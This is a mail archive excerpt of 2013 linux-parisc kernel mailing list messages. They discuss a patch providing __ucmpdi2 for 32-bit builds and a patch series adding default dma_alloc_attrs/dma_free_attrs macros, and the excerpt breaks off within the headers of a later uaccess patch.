Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4926
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4926>


--nextPart2899283.LglmJhOtdL
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Samstag 20 April 2013, 15:41:06 schrieb John David Anglin:
> Provide __ucmpdi2 to resolve undefined references in 32 bit builds.
> 
> The Debian experimental linux source package (3.8.5-1) build fails
> with the following errors:
> ...
> MODPOST 2016 modules
> ERROR: "__ucmpdi2" [fs/btrfs/btrfs.ko] undefined!
> ERROR: "__ucmpdi2" [drivers/md/dm-verity.ko] undefined!
> 
> The attached patch resolves this problem.  It is based on the s390
> implementation
> of ucmpdi2.c.
> 
> Signed-off-by: John David Anglin <dave.anglin@bell.net>
> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> Cc: Helge Deller <deller@gmx.de>

If this is in 3.8.5 this should also get a Cc:stable@kernel.org

Eike
--nextPart2899283.LglmJhOtdL
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlFy8dQACgkQXKSJPmm5/E4HcACfQnbQuh15J/j5SjzT5dZO2MFi
BaUAoKItahswUKU/qhCP2qNP+KhJDfzK
=5ziv
-----END PGP SIGNATURE-----

--nextPart2899283.LglmJhOtdL--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] PARISC: provide __ucmpdi2
Date: Sat, 20 Apr 2013 15:52:59 -0400
Lines: 36
Approved: news@gmane.org
Message-ID: <BLU0-SMTP453E3CCB487F80E412D02A97C90@phx.gbl>
References: <BLU0-SMTP16CB97A849149145EF5FC997C90@phx.gbl> <1751609.lhOQIV1TC8@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366487611 9639 80.91.229.3 (20 Apr 2013 19:53:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Apr 2013 19:53:31 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 20 21:53:34 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTdqn-0003vH-8C
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Apr 2013 21:53:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754080Ab3DTTxc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Apr 2013 15:53:32 -0400
Original-Received: from blu0-omc3-s7.blu0.hotmail.com ([65.55.116.82]:43788 "EHLO
	blu0-omc3-s7.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753964Ab3DTTxc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Apr 2013 15:53:32 -0400
Original-Received: from BLU0-SMTP45 ([65.55.116.72]) by blu0-omc3-s7.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 20 Apr 2013 12:53:32 -0700
X-EIP: [HK9j042SQgR8T+7DTPQWh5gkLbQoVpm6]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.85.251]) by BLU0-SMTP45.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 20 Apr 2013 12:53:31 -0700
In-Reply-To: <1751609.lhOQIV1TC8@eto>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 20 Apr 2013 19:53:31.0457 (UTC) FILETIME=[BBF3EB10:01CE3E00]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4927
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4927>

On 20-Apr-13, at 3:51 PM, Rolf Eike Beer wrote:

> Am Samstag 20 April 2013, 15:41:06 schrieb John David Anglin:
>> Provide __ucmpdi2 to resolve undefined references in 32 bit builds.
>>
>> The Debian experimental linux source package (3.8.5-1) build fails
>> with the following errors:
>> ...
>> MODPOST 2016 modules
>> ERROR: "__ucmpdi2" [fs/btrfs/btrfs.ko] undefined!
>> ERROR: "__ucmpdi2" [drivers/md/dm-verity.ko] undefined!
>>
>> The attached patch resolves this problem.  It is based on the s390
>> implementation
>> of ucmpdi2.c.
>>
>> Signed-off-by: John David Anglin <dave.anglin@bell.net>
>> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
>> Cc: Helge Deller <deller@gmx.de>
>
> If this is in 3.8.5 this should also get a Cc:stable@kernel.org


It is not in anything.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] PARISC: provide __ucmpdi2
Date: Sat, 20 Apr 2013 22:02:26 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <3572037.nRvXk0Bztd@eto>
References: <BLU0-SMTP16CB97A849149145EF5FC997C90@phx.gbl> <1751609.lhOQIV1TC8@eto> <BLU0-SMTP453E3CCB487F80E412D02A97C90@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2821684.E2Ins1k8n7"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1366488152 13985 80.91.229.3 (20 Apr 2013 20:02:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Apr 2013 20:02:32 +0000 (UTC)
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 20 22:02:36 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTdzT-0001Ru-4G
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Apr 2013 22:02:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754080Ab3DTUCa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Apr 2013 16:02:30 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:45615 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753964Ab3DTUCa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Apr 2013 16:02:30 -0400
Original-Received: (qmail 3620 invoked from network); 20 Apr 2013 20:02:27 -0000
Original-Received: from dslb-092-077-067-019.pools.arcor-ip.net ([::ffff:92.77.67.19]:48024 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 20 Apr 2013 22:02:27 +0200
User-Agent: KMail/4.10.2 (Linux/3.8.8-3-desktop; KDE/4.10.2; x86_64; ; )
In-Reply-To: <BLU0-SMTP453E3CCB487F80E412D02A97C90@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4928
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4928>


--nextPart2821684.E2Ins1k8n7
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Samstag 20 April 2013, 15:52:59 schrieb John David Anglin:
> On 20-Apr-13, at 3:51 PM, Rolf Eike Beer wrote:
> > Am Samstag 20 April 2013, 15:41:06 schrieb John David Anglin:
> >> Provide __ucmpdi2 to resolve undefined references in 32 bit builds.
> >> 
> >> The Debian experimental linux source package (3.8.5-1) build fails
> >> with the following errors:
> >> ...
> >> MODPOST 2016 modules
> >> ERROR: "__ucmpdi2" [fs/btrfs/btrfs.ko] undefined!
> >> ERROR: "__ucmpdi2" [drivers/md/dm-verity.ko] undefined!
> >> 
> >> The attached patch resolves this problem.  It is based on the s390
> >> implementation
> >> of ucmpdi2.c.
> >> 
> >> Signed-off-by: John David Anglin <dave.anglin@bell.net>
> >> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
> >> Cc: Helge Deller <deller@gmx.de>
> > 
> > If this is in 3.8.5 this should also get a Cc:stable@kernel.org
> 
> It is not in anything.

The function? Or the error? If the function is missing, i.e. the error will 
happen once enabling e.g. btrfs, in a already released kernel we should get 
this into stable.

Eike
--nextPart2821684.E2Ins1k8n7
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.
Content-Transfer-Encoding: 7Bit

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlFy9FIACgkQXKSJPmm5/E757ACcCQTQsQ3/dipTBPuJYhpDOcfc
h0UAn3Sf+q844MZIU6LEDQIbmK8aIvNQ
=VekP
-----END PGP SIGNATURE-----

--nextPart2821684.E2Ins1k8n7--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] PARISC: provide __ucmpdi2
Date: Sat, 20 Apr 2013 16:26:01 -0400
Lines: 51
Approved: news@gmane.org
Message-ID: <BLU0-SMTP318334D40E569E5E0E46FF97C90@phx.gbl>
References: <BLU0-SMTP16CB97A849149145EF5FC997C90@phx.gbl> <1751609.lhOQIV1TC8@eto> <BLU0-SMTP453E3CCB487F80E412D02A97C90@phx.gbl> <3572037.nRvXk0Bztd@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366489599 27618 80.91.229.3 (20 Apr 2013 20:26:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 20 Apr 2013 20:26:39 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 20 22:26:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UTeMs-0008Jo-IZ
	for glpp-linux-parisc@plane.gmane.org; Sat, 20 Apr 2013 22:26:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754381Ab3DTU0m (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 20 Apr 2013 16:26:42 -0400
Original-Received: from blu0-omc3-s31.blu0.hotmail.com ([65.55.116.106]:36033 "EHLO
	blu0-omc3-s31.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754356Ab3DTU0l (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 20 Apr 2013 16:26:41 -0400
Original-Received: from BLU0-SMTP31 ([65.55.116.73]) by blu0-omc3-s31.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 20 Apr 2013 13:26:41 -0700
X-EIP: [nycO5ZzrFKS69zihyVjw0DBZtHFHY6sb]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([64.229.85.251]) by BLU0-SMTP31.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sat, 20 Apr 2013 13:26:40 -0700
In-Reply-To: <3572037.nRvXk0Bztd@eto>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 20 Apr 2013 20:26:40.0571 (UTC) FILETIME=[5D8EA0B0:01CE3E05]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4929
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4929>

On 20-Apr-13, at 4:02 PM, Rolf Eike Beer wrote:

> Am Samstag 20 April 2013, 15:52:59 schrieb John David Anglin:
>> On 20-Apr-13, at 3:51 PM, Rolf Eike Beer wrote:
>>> Am Samstag 20 April 2013, 15:41:06 schrieb John David Anglin:
>>>> Provide __ucmpdi2 to resolve undefined references in 32 bit builds.
>>>>
>>>> The Debian experimental linux source package (3.8.5-1) build fails
>>>> with the following errors:
>>>> ...
>>>> MODPOST 2016 modules
>>>> ERROR: "__ucmpdi2" [fs/btrfs/btrfs.ko] undefined!
>>>> ERROR: "__ucmpdi2" [drivers/md/dm-verity.ko] undefined!
>>>>
>>>> The attached patch resolves this problem.  It is based on the s390
>>>> implementation
>>>> of ucmpdi2.c.
>>>>
>>>> Signed-off-by: John David Anglin <dave.anglin@bell.net>
>>>> Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
>>>> Cc: Helge Deller <deller@gmx.de>
>>>
>>> If this is in 3.8.5 this should also get a Cc:stable@kernel.org
>>
>> It is not in anything.
>
> The function? Or the error? If the function is missing, i.e. the  
> error will
> happen once enabling e.g. btrfs, in a already released kernel we  
> should get
> this into stable.

The error is probably in all active stable branches given that most  
ports provide the function.
GCC generates a call to __ucmpdi2 if the backend doesn't support  
unsigned 64-bit compares.
Normally, the function is resolved by libgcc.  I have no objection to  
pushing the patch back
but Helge and James usually decide this.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Damian Hobson-Garcia <dhobsong@igel.co.jp>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [RFC/PATCH 0/4] dma-mapping: Define dma_{alloc,
 free}_attrs() for all archs
Date: Mon, 22 Apr 2013 14:07:40 +0900
Lines: 23
Approved: news@gmane.org
Message-ID: <1366607260-2852-1-git-send-email-dhobsong@igel.co.jp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366607294 17141 80.91.229.3 (22 Apr 2013 05:08:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Apr 2013 05:08:14 +0000 (UTC)
Cc: linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 linux-parisc@vger.kernel.org, catalin.marinas@arm.com, deller@gmx.de,
 will.deacon@arm.com, msalter@redhat.com,
 Damian Hobson-Garcia <dhobsong@igel.co.jp>,
 linux-arm-kernel@lists.infradead.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Mon Apr 22 07:08:17 2013
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from casper.infradead.org ([85.118.1.10])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1UU8z9-0004z3-QI
	for linux-arm-kernel@m.gmane.org; Mon, 22 Apr 2013 07:08:15 +0200
Original-Received: from merlin.infradead.org ([2001:4978:20e::2])
	by casper.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UU8z1-0003Xp-AY; Mon, 22 Apr 2013 05:08:07 +0000
Original-Received: from localhost ([::1] helo=merlin.infradead.org)
	by merlin.infradead.org with esmtp (Exim 4.80.1 #2 (Red Hat Linux))
	id 1UU8yy-0005xx-Kz; Mon, 22 Apr 2013 05:08:04 +0000
Original-Received: from mail-pa0-f43.google.com ([209.85.220.43])
 by merlin.infradead.org with esmtps (Exim 4.80.1 #2 (Red Hat Linux))
 id 1UU8yv-0005xf-9x
 for linux-arm-kernel@lists.infradead.org; Mon, 22 Apr 2013 05:08:02 +0000
Original-Received: by mail-pa0-f43.google.com with SMTP id hz1so839816pad.2
 for <linux-arm-kernel@lists.infradead.org>;
 Sun, 21 Apr 2013 22:07:58 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=google.com; s=20120113;
 h=x-received:from:to:cc:subject:date:message-id:x-mailer
 :x-gm-message-state;
 bh=zkK9qft81VSxsbvV5PrKTmBG7pjvwQiQTEoLo8R8G2w=;
 b=jY7Pt9ycVnRil/DwcVkGwDjwhSaq4KOcakSpvcpmPKiGkgi6Dr7JfdrgV14YYwP/sm
 BDvU/8rOXpYmWJF6zq2fgBHn0jXyErw+cNaNSoLXVrGamaY7Sw4q9rlH5K/GESjGXuGU
 kfdwoBgz+47L2Wz4E8PanrP1Ot34HyABUq8HknTLDd3JwJych3UGNmRvbBo3NPWSKYHe
 MZ+/exEfEDfPAXEwkIHriaKupsaAKdMWsNEzsya2SEo4fUQx1fii2YrbJ4v/88eynOdZ
 FqGocfsEiZ2zMJo0dmE0xpxfEPH3NAluFYcZxmJVF37LA+XeY9Dne989R8CgEuuwI82U
 hXyg==
X-Received: by 10.68.116.133 with SMTP id jw5mr31077450pbb.9.1366607278563;
 Sun, 21 Apr 2013 22:07:58 -0700 (PDT)
Original-Received: from localhost.localdomain ([219.106.231.132])
 by mx.google.com with ESMTPS id b7sm23482278pba.39.2013.04.21.22.07.55
 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
 Sun, 21 Apr 2013 22:07:57 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.4
X-Gm-Message-State: ALoCoQkNwSUmiDHE7hOa+a5XA9gxSSHx4QVCwnMUNTOwscj8m2LLt+uGi3vFGWY5Kf6uzE1m/gZi
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20130422_010801_433250_1D53E000 
X-CRM114-Status: UNSURE (   7.61  )
X-CRM114-Notice: Please train this message.
X-Spam-Score: -2.6 (--)
X-Spam-Report: SpamAssassin version 3.3.2 on merlin.infradead.org summary:
 Content analysis details:   (-2.6 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [209.85.220.43 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -1.9 BAYES_00               BODY: Bayes spam probability is 0 to 1%
 [score: 0.0000]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.15
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:232601 gmane.linux.kernel:1478898 gmane.linux.ports.parisc:4930
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/232601>

Most architectures that define CONFIG_HAVE_DMA=y, have implementations for
both dma_alloc_attrs() and dma_free_attrs().  All achitectures that do
not define CONFIG_HAVE_DMA also have both of these definitions provided by
dma-mapping-broken.h.

Provide a default definition for the archs that define CONFIG_HAVE_DMA=y,
but have no implementation for dma_{alloc,free}_attrs() by simply calling
dma_{alloc,free}_coherent() and throwing away the attrs argument.

Damian Hobson-Garcia (4):
  Provide default implementation for dma_{alloc,free}_attrs on arm64
  Provide default implementation for dma_{alloc,free}_attrs on c6x
  Provide default implementation for dma_{alloc,free}_attrs on parisc
  Provide default implementation for dma_{alloc,free}_attrs on s390

 arch/arm64/include/asm/dma-mapping.h  |    3 +++
 arch/c6x/include/asm/dma-mapping.h    |    3 +++
 arch/parisc/include/asm/dma-mapping.h |    3 +++
 arch/s390/include/asm/dma-mapping.h   |    3 +++
 4 files changed, 12 insertions(+), 0 deletions(-)

-- 
1.7.5.4

From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Damian Hobson-Garcia <dhobsong@igel.co.jp>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [RFC/PATCH 3/4] parisc: Provide default implementation for dma_{alloc,free}_attrs
Date: Mon, 22 Apr 2013 14:10:07 +0900
Lines: 29
Approved: news@gmane.org
Message-ID: <1366607407-3103-1-git-send-email-dhobsong@igel.co.jp>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1366607429 18438 80.91.229.3 (22 Apr 2013 05:10:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Apr 2013 05:10:29 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org,
	Damian Hobson-Garcia <dhobsong@igel.co.jp>
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Apr 22 07:10:31 2013
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1UU91K-0006hP-PV
	for glk-linux-kernel-3@plane.gmane.org; Mon, 22 Apr 2013 07:10:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752650Ab3DVFKV (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 22 Apr 2013 01:10:21 -0400
Original-Received: from mail-pa0-f42.google.com ([209.85.220.42]:38790 "EHLO
	mail-pa0-f42.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751684Ab3DVFKT (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 22 Apr 2013 01:10:19 -0400
Original-Received: by mail-pa0-f42.google.com with SMTP id kq13so3365150pab.15
        for <linux-kernel@vger.kernel.org>; Sun, 21 Apr 2013 22:10:19 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=x-received:from:to:cc:subject:date:message-id:x-mailer
         :x-gm-message-state;
        bh=/b4QEM6Z85SbqXZ0ZHRz5VxpIDO6kwS/dN9eNssmdyY=;
        b=YqGT7nQBJUjPQGovJFBa+50LPCK0jjvqnAmnBx98tm2CL3j3GM8SL7lSNmuri2GaAB
         OtHPIpgB8j3mPaRHM0bJqAGVsAqSJ6yZhpQehZL9Ky7NzXHMXLx0AJJlWetyRykPsG28
         jDcZ/d3x+yeuDKfZVGBVv9An9060a2chkPSStkVkzFnHBa5wcMsU9qR5z+32393n1oc2
         7LkFRyWpqE8nlALOkoyw0VevFPf7PgME6OeUUyLe4jXcL51HS4ECzIsGvBL/1oWM2G/4
         Sw6awYo7vi3BTrmHt6piH+FGCN/Lvs4FzlC1RHsNP7/1knv7whCKtcGCLk1uMr8IK/PJ
         Ajhg==
X-Received: by 10.66.234.198 with SMTP id ug6mr27054759pac.43.1366607419272;
        Sun, 21 Apr 2013 22:10:19 -0700 (PDT)
Original-Received: from localhost.localdomain ([219.106.231.132])
        by mx.google.com with ESMTPS id al2sm15331410pbc.25.2013.04.21.22.10.17
        (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128);
        Sun, 21 Apr 2013 22:10:18 -0700 (PDT)
X-Mailer: git-send-email 1.7.5.4
X-Gm-Message-State: ALoCoQmCkHJ4TAuWPkvFNg1h5qQZkU8gESGP03bP3USSN+0QGDJOgrSTL/arKY49SimgCxfP9gJd
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1478903 gmane.linux.ports.parisc:4931
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1478903>

Most architectures that define CONFIG_HAVE_DMA, have implementations for
both dma_alloc_attrs() and dma_free_attrs().  All achitectures that do
not define CONFIG_HAVE_DMA also have both of these definitions provided by
dma-mapping-broken.h.

Add default implementations for these functions on parisc.

Signed-off-by: Damian Hobson-Garcia <dhobsong@igel.co.jp>
---
 arch/parisc/include/asm/dma-mapping.h |    3 +++
 1 files changed, 3 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/dma-mapping.h b/arch/parisc/include/asm/dma-mapping.h
index 106b395..d0eae5f 100644
--- a/arch/parisc/include/asm/dma-mapping.h
+++ b/arch/parisc/include/asm/dma-mapping.h
@@ -46,6 +46,9 @@ extern struct hppa_dma_ops pcx_dma_ops;
 
 extern struct hppa_dma_ops *hppa_dma_ops;
 
+#define dma_alloc_attrs(d, s, h, f, a) dma_alloc_coherent(d, s, h, f)
+#define dma_free_attrs(d, s, h, f, a) dma_free_coherent(d, s, h, f)
+
 static inline void *
 dma_alloc_coherent(struct device *dev, size_t size, dma_addr_t *dma_handle,
 		   gfp_t flag)
-- 
1.7.5.4


From - Thu Nov 08 21:09:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Will Deacon <will.deacon@arm.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH v2] parisc: uaccess: fix compiler warnings caused by __put_user casting
Date: Mon, 22 Apr 2013 13:53:43 +0100
Lines: 72
Approved: news@gmane.org
Message-ID: <1366635223-4207-1-git-send-email-will.deacon@arm.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1366635239 13192 80.91.229.3 (22 Apr 2013 12:53:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Apr 2013 12:53:59 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, Will Deacon <will.deacon@arm.com>,
	Helge Deller <deller@gmx.de>
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 22 14:54:03 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UUGFt-0007rc-8a
	for glpp-linux-parisc@plane.gmane.org; Mon, 22 Apr 2013 14:54:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753724Ab3DVMyA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
